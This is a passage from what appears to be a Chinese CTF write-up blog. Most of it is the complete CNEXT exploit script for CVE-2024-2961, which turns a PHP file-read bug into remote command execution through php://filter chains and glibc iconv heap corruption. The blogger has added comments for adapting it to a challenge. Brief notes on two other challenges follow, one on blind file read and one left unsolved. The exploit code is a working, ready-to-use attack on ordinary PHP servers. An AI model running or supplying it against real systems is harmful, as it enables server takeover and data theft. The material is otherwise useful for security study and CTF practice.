image-20240913134511409

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
# REQUIREMENTS
#
# Requires ten: https://github.com/cfreal/ten
#

from __future__ import annotations

import base64
import zlib
from dataclasses import dataclass

from pwn import *
from requests.exceptions import ChunkedEncodingError, ConnectionError
from ten import *

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
"""A helper class to send the payload and download files.

The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.

The code here serves as an example that attacks a page that looks like:

```php
<?php

$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```

Tweak it to fit your target, and start the exploit.
"""

def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
#path:filename,如果是魔改过后的利用,就把新利用方法的filename改成path,再加上其它条件就行
#似乎需要linux环境才能执行成功
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""

url =self.url
data={
"file":path
}

return self.session.post(url,data=data)

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
#匹配语句记得根据题目环境更改
#data = response.re.search(b"(.*)", flags=re.S).group(1)
data=response.text
return base64.decode(data)


@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""

url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20

def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)

def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""

def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")

def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result

text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"

result = safe_download(path)

if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

msg_info("The [i]data://[/] wrapper works")

text = tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")

msg_info("The [i]php://filter/[/] wrapper works")

text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")

msg_info("The [i]zlib[/] extension is enabled")

msg_success("Exploit preconditions are satisfied")

def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)

def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.get_file("/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")

self.log.info(f"Got {len(regions)} memory regions")

return regions

def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()

LIBC_FILE = "/dev/shm/cnext-libc"

# PHP's heap

self.info["heap"] = self.heap or self.find_main_heap(regions)

# Libc

libc = self._get_region(regions, "libc-", "libc.so")

self.download_file(libc.path, LIBC_FILE)

self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start

def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")

return region

def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write(data)

def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path == ""
]

if not heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")

return first

def run(self) -> None:
self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()

def build_exploit_path(self) -> str:

LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"

return path

@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()

try:
self.remote.send(path)
except (ConnectionError, ChunkedEncodingError):
pass

msg_print()

if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

msg_print()


def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
return self.stop - self.start


Exploit()

Readme(x

我要读 flag 啦~ 欸,但是没有回显可怎么办?

请执行 /readflag

提到了文件读取,无回显,rce。

预计思路是测信道获取文件内容,然后打CVE-2024-2961。参数名是猜出来的(后来发现题目给了附件,有点小丑了。

image-20240912194632922

成功读取到题目源码,但是如果真是这样的打法,那时间也太久了。可以看到这里我爆破这么短的内容都花了两分钟,总感觉有其它打法。

问了一下出题人,的确是这样的思路,就是需要优化一下代码。

出题人不放wp,我也不会。呜呜

scxml(x

唉,java。等官方wp吧。